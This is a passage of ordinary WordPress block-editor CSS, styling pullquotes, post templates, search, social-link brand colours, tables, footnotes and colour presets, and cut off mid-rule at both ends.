  margin-bottom:0;
}
.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{
  max-width:420px;
}
.wp-block-pullquote cite,.wp-block-pullquote footer{
  position:relative;
}
.wp-block-pullquote .has-text-color a{
  color:inherit;
}

:where(.wp-block-pullquote){
  margin:0 0 1em;
}

.wp-block-pullquote.has-text-align-left blockquote{
  text-align:left;
}

.wp-block-pullquote.has-text-align-right blockquote{
  text-align:right;
}

.wp-block-pullquote.is-style-solid-color{
  border:none;
}
.wp-block-pullquote.is-style-solid-color blockquote{
  margin-left:auto;
  margin-right:auto;
  max-width:60%;
}
.wp-block-pullquote.is-style-solid-color blockquote p{
  font-size:2em;
  margin-bottom:0;
  margin-top:0;
}
.wp-block-pullquote.is-style-solid-color blockquote cite{
  font-style:normal;
  text-transform:none;
}

.wp-block-pullquote cite{
  color:inherit;
}

.wp-block-post-template{
  list-style:none;
  margin-bottom:0;
  margin-top:0;
  max-width:100%;
  padding:0;
}
.wp-block-post-template.wp-block-post-template{
  background:none;
}
.wp-block-post-template.is-flex-container{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  gap:1.25em;
}
.wp-block-post-template.is-flex-container>li{
  margin:0;
  width:100%;
}
@media (min-width:600px){
  .wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{
    width:calc(50% - .625em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{
    width:calc(25% - .9375em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{
    width:calc(20% - 1em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{
    width:calc(16.66667% - 1.04167em);
  }
}

@media (max-width:600px){
  .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{
    grid-template-columns:1fr;
  }
}
.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{
  float:right;
  margin-inline-end:0;
  margin-inline-start:2em;
}

.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{
  float:left;
  margin-inline-end:2em;
  margin-inline-start:0;
}

.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{
  margin-inline-end:auto;
  margin-inline-start:auto;
}

.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{
  margin-bottom:.5em;
  margin-right:.5em;
}
.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{
  margin-right:0;
}
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{
  margin-inline-start:auto;
}
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{
  margin-inline-end:auto;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-query-pagination.aligncenter{
  justify-content:center;
}

.wp-block-query-title,.wp-block-quote{
  box-sizing:border-box;
}

.wp-block-quote{
  overflow-wrap:break-word;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){
  margin-bottom:1em;
  padding:0 1em;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{
  font-size:1.5em;
  font-style:italic;
  line-height:1.6;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{
  font-size:1.125em;
  text-align:right;
}
.wp-block-quote>cite{
  display:block;
}

.wp-block-read-more{
  display:block;
  width:-moz-fit-content;
  width:fit-content;
}
.wp-block-read-more:where(:not([style*=text-decoration])){
  text-decoration:none;
}
.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{
  text-decoration:none;
}

ul.wp-block-rss{
  list-style:none;
  padding:0;
}
ul.wp-block-rss.wp-block-rss{
  box-sizing:border-box;
}
ul.wp-block-rss.alignleft{
  margin-right:2em;
}
ul.wp-block-rss.alignright{
  margin-left:2em;
}
ul.wp-block-rss.is-grid{
  display:flex;
  flex-wrap:wrap;
  list-style:none;
  padding:0;
}
ul.wp-block-rss.is-grid li{
  margin:0 1em 1em 0;
  width:100%;
}
@media (min-width:600px){
  ul.wp-block-rss.columns-2 li{
    width:calc(50% - 1em);
  }
  ul.wp-block-rss.columns-3 li{
    width:calc(33.33333% - 1em);
  }
  ul.wp-block-rss.columns-4 li{
    width:calc(25% - 1em);
  }
  ul.wp-block-rss.columns-5 li{
    width:calc(20% - 1em);
  }
  ul.wp-block-rss.columns-6 li{
    width:calc(16.66667% - 1em);
  }
}

.wp-block-rss__item-author,.wp-block-rss__item-publish-date{
  display:block;
  font-size:.8125em;
}

.wp-block-search__button{
  margin-left:10px;
  word-break:normal;
}
.wp-block-search__button.has-icon{
  line-height:0;
}
.wp-block-search__button svg{
  height:1.25em;
  min-height:24px;
  min-width:24px;
  width:1.25em;
  fill:currentColor;
  vertical-align:text-bottom;
}

:where(.wp-block-search__button){
  border:1px solid #ccc;
  padding:6px 10px;
}

.wp-block-search__inside-wrapper{
  display:flex;
  flex:auto;
  flex-wrap:nowrap;
  max-width:100%;
}

.wp-block-search__label{
  width:100%;
}

.wp-block-search__input{
  -webkit-appearance:initial;
          appearance:none;
  border:1px solid #949494;
  flex-grow:1;
  margin-left:0;
  margin-right:0;
  min-width:3rem;
  padding:8px;
  text-decoration:unset !important;
}

.wp-block-search.wp-block-search__button-only .wp-block-search__button{
  flex-shrink:0;
  margin-left:0;
  max-width:100%;
}
.wp-block-search.wp-block-search__button-only .wp-block-search__button[aria-expanded=true]{
  max-width:calc(100% - 100px);
}
.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{
  min-width:0 !important;
  transition-property:width;
}
.wp-block-search.wp-block-search__button-only .wp-block-search__input{
  flex-basis:100%;
  transition-duration:.3s;
}
.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{
  overflow:hidden;
}
.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{
  border-left-width:0 !important;
  border-right-width:0 !important;
  flex-basis:0;
  flex-grow:0;
  margin:0;
  min-width:0 !important;
  padding-left:0 !important;
  padding-right:0 !important;
  width:0 !important;
}

:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){
  border:1px solid #949494;
  box-sizing:border-box;
  padding:4px;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{
  border:none;
  border-radius:0;
  padding:0 4px;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{
  outline:none;
}
:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){
  padding:4px 8px;
}

.wp-block-search.aligncenter .wp-block-search__inside-wrapper{
  margin:auto;
}

.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{
  float:right;
}

.wp-block-separator{
  border:none;
  border-top:2px solid;
}
.wp-block-separator.is-style-dots{
  background:none !important;
  border:none;
  height:auto;
  line-height:1;
  text-align:center;
}
.wp-block-separator.is-style-dots:before{
  color:currentColor;
  content:"···";
  font-family:serif;
  font-size:1.5em;
  letter-spacing:2em;
  padding-left:2em;
}

.wp-block-site-logo{
  box-sizing:border-box;
  line-height:0;
}
.wp-block-site-logo a{
  display:inline-block;
  line-height:0;
}
.wp-block-site-logo.is-default-size img{
  height:auto;
  width:120px;
}
.wp-block-site-logo img{
  height:auto;
  max-width:100%;
}
.wp-block-site-logo a,.wp-block-site-logo img{
  border-radius:inherit;
}
.wp-block-site-logo.aligncenter{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}
.wp-block-site-logo.is-style-rounded{
  border-radius:9999px;
}

.wp-block-site-title a{
  color:inherit;
}

.wp-block-social-links{
  background:none;
  box-sizing:border-box;
  margin-left:0;
  padding-left:0;
  padding-right:0;
  text-indent:0;
}
.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{
  border-bottom:0;
  box-shadow:none;
  text-decoration:none;
}
.wp-block-social-links .wp-social-link a{
  padding:.25em;
}
.wp-block-social-links .wp-social-link svg{
  height:1em;
  width:1em;
}
.wp-block-social-links .wp-social-link span:not(.screen-reader-text){
  font-size:.65em;
  margin-left:.5em;
  margin-right:.5em;
}
.wp-block-social-links.has-small-icon-size{
  font-size:16px;
}
.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{
  font-size:24px;
}
.wp-block-social-links.has-large-icon-size{
  font-size:36px;
}
.wp-block-social-links.has-huge-icon-size{
  font-size:48px;
}
.wp-block-social-links.aligncenter{
  display:flex;
  justify-content:center;
}
.wp-block-social-links.alignright{
  justify-content:flex-end;
}

.wp-block-social-link{
  border-radius:9999px;
  display:block;
  height:auto;
  transition:transform .1s ease;
}
@media (prefers-reduced-motion:reduce){
  .wp-block-social-link{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.wp-block-social-link a{
  align-items:center;
  display:flex;
  line-height:0;
  transition:transform .1s ease;
}
.wp-block-social-link:hover{
  transform:scale(1.1);
}

.wp-block-social-links .wp-block-social-link.wp-social-link{
  display:inline-block;
  margin:0;
  padding:0;
}
.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{
  color:currentColor;
  fill:currentColor;
}

.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{
  background-color:#f0f0f0;
  color:#444;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{
  background-color:#f90;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{
  background-color:#1ea0c3;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{
  background-color:#0757fe;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{
  background-color:#1e1f26;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{
  background-color:#02e49b;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{
  background-color:#e94c89;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{
  background-color:#4280ff;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{
  background-color:#f45800;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{
  background-color:#1778f2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{
  background-color:#0461dd;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{
  background-color:#e65678;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{
  background-color:#24292d;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{
  background-color:#eceadd;
  color:#382110;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{
  background-color:#ea4434;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-gravatar{
  background-color:#1d4fc4;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{
  background-color:#f00075;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{
  background-color:#e21b24;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{
  background-color:#0d66c2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{
  background-color:#3288d4;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{
  background-color:#02ab6c;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{
  background-color:#f6405f;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{
  background-color:#e60122;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{
  background-color:#ef4155;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{
  background-color:#ff4500;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{
  background-color:#0478d7;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{
  background-color:#fefc00;
  color:#fff;
  stroke:#000;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{
  background-color:#ff5600;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{
  background-color:#1bd760;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{
  background-color:#2aabee;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-threads,.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{
  background-color:#011835;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{
  background-color:#6440a4;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{
  background-color:#1da1f2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{
  background-color:#1eb7ea;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{
  background-color:#4680c2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{
  background-color:#3499cd;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-whatsapp{
  background-color:#25d366;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-x{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{
  background-color:#d32422;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{
  background-color:red;
  color:#fff;
}

.wp-block-social-links.is-style-logos-only .wp-social-link{
  background:none;
}
.wp-block-social-links.is-style-logos-only .wp-social-link a{
  padding:0;
}
.wp-block-social-links.is-style-logos-only .wp-social-link svg{
  height:1.25em;
  width:1.25em;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{
  color:#f90;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{
  color:#1ea0c3;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-behance{
  color:#0757fe;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{
  color:#1e1f26;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{
  color:#02e49b;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{
  color:#e94c89;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{
  color:#4280ff;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{
  color:#f45800;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{
  color:#1778f2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{
  color:#0461dd;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{
  color:#e65678;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-github{
  color:#24292d;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{
  color:#382110;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-google{
  color:#ea4434;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-gravatar{
  color:#1d4fc4;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{
  color:#f00075;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{
  color:#e21b24;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{
  color:#0d66c2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{
  color:#3288d4;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-medium{
  color:#02ab6c;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{
  color:#f6405f;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{
  color:#e60122;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{
  color:#ef4155;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{
  color:#ff4500;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-skype{
  color:#0478d7;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{
  color:#fff;
  stroke:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{
  color:#ff5600;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{
  color:#1bd760;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{
  color:#2aabee;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-threads,.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{
  color:#011835;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{
  color:#6440a4;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{
  color:#1da1f2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{
  color:#1eb7ea;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-vk{
  color:#4680c2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-whatsapp{
  color:#25d366;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{
  color:#3499cd;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-x{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{
  color:#d32422;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{
  color:red;
}

.wp-block-social-links.is-style-pill-shape .wp-social-link{
  width:auto;
}
.wp-block-social-links.is-style-pill-shape .wp-social-link a{
  padding-left:.66667em;
  padding-right:.66667em;
}

.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{
  color:#000;
}

.wp-block-spacer{
  clear:both;
}

.wp-block-tag-cloud{
  box-sizing:border-box;
}
.wp-block-tag-cloud.aligncenter{
  justify-content:center;
  text-align:center;
}
.wp-block-tag-cloud.alignfull{
  padding-left:1em;
  padding-right:1em;
}
.wp-block-tag-cloud a{
  display:inline-block;
  margin-right:5px;
}
.wp-block-tag-cloud span{
  display:inline-block;
  margin-left:5px;
  text-decoration:none;
}
.wp-block-tag-cloud.is-style-outline{
  display:flex;
  flex-wrap:wrap;
  gap:1ch;
}
.wp-block-tag-cloud.is-style-outline a{
  border:1px solid;
  font-size:unset !important;
  margin-right:0;
  padding:1ch 2ch;
  text-decoration:none !important;
}

.wp-block-table{
  overflow-x:auto;
}
.wp-block-table table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-table thead{
  border-bottom:3px solid;
}
.wp-block-table tfoot{
  border-top:3px solid;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table .has-fixed-layout{
  table-layout:fixed;
  width:100%;
}
.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{
  word-break:break-word;
}
.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{
  display:table;
  width:auto;
}
.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{
  word-break:break-word;
}
.wp-block-table .has-subtle-light-gray-background-color{
  background-color:#f3f4f5;
}
.wp-block-table .has-subtle-pale-green-background-color{
  background-color:#e9fbe5;
}
.wp-block-table .has-subtle-pale-blue-background-color{
  background-color:#e7f5fe;
}
.wp-block-table .has-subtle-pale-pink-background-color{
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes{
  background-color:initial;
  border-bottom:1px solid #f0f0f0;
  border-collapse:inherit;
  border-spacing:0;
}
.wp-block-table.is-style-stripes tbody tr:nth-child(odd){
  background-color:#f0f0f0;
}
.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){
  background-color:#f3f4f5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){
  background-color:#e9fbe5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){
  background-color:#e7f5fe;
}
.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{
  border-color:#0000;
}
.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{
  border-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{
  border-top-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:not(:first-child){
  border-top-color:initial;
}
.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{
  border-right-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{
  border-bottom-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){
  border-bottom-color:initial;
}
.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{
  border-left-color:inherit;
}
.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{
  border-style:inherit;
}
.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{
  border-style:inherit;
  border-width:inherit;
}

:where(.wp-block-term-description){
  margin-bottom:var(--wp--style--block-gap);
  margin-top:var(--wp--style--block-gap);
}

.wp-block-term-description p{
  margin-bottom:0;
  margin-top:0;
}
.wp-block-text-columns,.wp-block-text-columns.aligncenter{
  display:flex;
}
.wp-block-text-columns .wp-block-column{
  margin:0 1em;
  padding:0;
}
.wp-block-text-columns .wp-block-column:first-child{
  margin-left:0;
}
.wp-block-text-columns .wp-block-column:last-child{
  margin-right:0;
}
.wp-block-text-columns.columns-2 .wp-block-column{
  width:50%;
}
.wp-block-text-columns.columns-3 .wp-block-column{
  width:33.33333%;
}
.wp-block-text-columns.columns-4 .wp-block-column{
  width:25%;
}

pre.wp-block-verse{
  overflow:auto;
  white-space:pre-wrap;
}

:where(pre.wp-block-verse){
  font-family:inherit;
}

.wp-block-video{
  box-sizing:border-box;
}
.wp-block-video video{
  vertical-align:middle;
  width:100%;
}
@supports (position:sticky){
  .wp-block-video [poster]{
    object-fit:cover;
  }
}
.wp-block-video.aligncenter{
  text-align:center;
}
.wp-block-video figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}

.editor-styles-wrapper,.entry-content{
  counter-reset:footnotes;
}

a[data-fn].fn{
  counter-increment:footnotes;
  display:inline-flex;
  font-size:smaller;
  text-decoration:none;
  text-indent:-9999999px;
  vertical-align:super;
}

a[data-fn].fn:after{
  content:"[" counter(footnotes) "]";
  float:left;
  text-indent:0;
}
.wp-element-button{
  cursor:pointer;
}

:root{
  --wp--preset--font-size--normal:16px;
  --wp--preset--font-size--huge:42px;
}
:root .has-very-light-gray-background-color{
  background-color:#eee;
}
:root .has-very-dark-gray-background-color{
  background-color:#313131;
}
:root .has-very-light-gray-color{
  color:#eee;
}
:root .has-very-dark-gray-color{
  color:#313131;
}
:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{
  background:linear-gradient(135deg, #00d084, #0693e3);
}
:root .has-purple-crush-gradient-background{
  background:linear-gradient(135deg, #34e2e4, #4721fb 50%, #ab1dfe);
}
:root .has-hazy-dawn-gradient-background{
  background:linear-gradient(135deg, #faaca8, #dad0ec);
}
:root .has-subdued-olive-gradient-background{
  background:linear-gradient(135deg, #fafae1, #67a671);
}
:root .has-atomic-cream-gradient-background{
  background:linear-gradient(135deg, #fdd79a, #004a59);
}
:root .has-nightshade-gradient-background{
  background:linear-gradient(135deg, #330968, #31cdcf);
}
:root .has-midnight-gradient-background{
  background:linear-gradient(135deg, #020381, #2874fc);
}

.has-regular-font-size{
  font-size:1em;
}

.has-larger-font-size{
  font-size:2.625em;
}

.has-normal-font-size{
  font-size:var(--wp--preset--font-size--normal);
}

.has-huge-font-size{
  font-size:var(--wp--preset--font-size--huge);
}

.has-text-align-center{
  text-align:center;
}

.has-text-align-left{
  text-align:left;
}

.has-text-align-right{
  text-align:right;
}

#end-resizable-editor-section{
  display:none;
}

.aligncenter{
  clear:both;
}

.items-justified-left{
  justify-content:flex-start;
}

.items-justified-center{
  justify-content:center;
}

.items-justified-right{
  justify-content:flex-end;
}

.items-justified-space-between{
  justify-content:space-between;
}

.screen-reader-text{
  border:0;
  clip:rect(1px, 1px, 1px, 1px);
  -webkit-clip-path:inset(50%);
  clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}

.screen-reader-text:focus{
  background-color:#ddd;
  clip:auto !important;
  -webkit-clip-path:none;
          clip-path:none;
  color:#444;
  display:block;
  font-size:1em;
  height:auto;
  left:5px;
  line-height:normal;
  padding:15px 23px 14px;
  text-decoration:none;
  top:5px;
  width:auto;
  z-index:100000;
}
html :where(.has-border-color){
  border-style:solid;
}

html :where([style*=border-top-color]){
  border-top-style:solid;
}

html :where([style*=border-right-color]){
  border-right-style:solid;
}

html :where([style*=border-bottom-color]){
  border-bottom-style:solid;
}

html :where([style*=border-left-color]){
  border-left-style:solid;
}

html :where([style*=border-width]){
  border-style:solid;
}

html :where([style*=border-top-width]){
  border-top-style:solid;
}

html :where([style*=border-right-width]){
  border-right-style:solid;
}

html :where([style*=border-bottom-width]){
  border-bottom-style:solid;
}

html :where([style*=border-left-width]){
  border-left-style:solid;
}
html :where(img[class*=wp-image-]){
  height:auto;
  max-width:100%;
}
:where(figure){
  margin:0 0 1em;
}

html :where(.is-position-sticky){
  --wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height, 0px);
}

@media screen and (max-width:600px){
  html :where(.is-position-sticky){
    --wp-admin--admin-bar--position-offset:0px;
  }
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}
.wp-element-button{
  cursor:pointer;
}

:root{
  --wp--preset--font-size--normal:16px;
  --wp--preset--font-size--huge:42px;
}
:root .has-very-light-gray-background-color{
  background-color:#eee;
}
:root .has-very-dark-gray-background-color{
  background-color:#313131;
}
:root .has-very-light-gray-color{
  color:#eee;
}
:root .has-very-dark-gray-color{
  color:#313131;
}
:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{
  background:linear-gradient(135deg, #00d084, #0693e3);
}
:root .has-purple-crush-gradient-background{
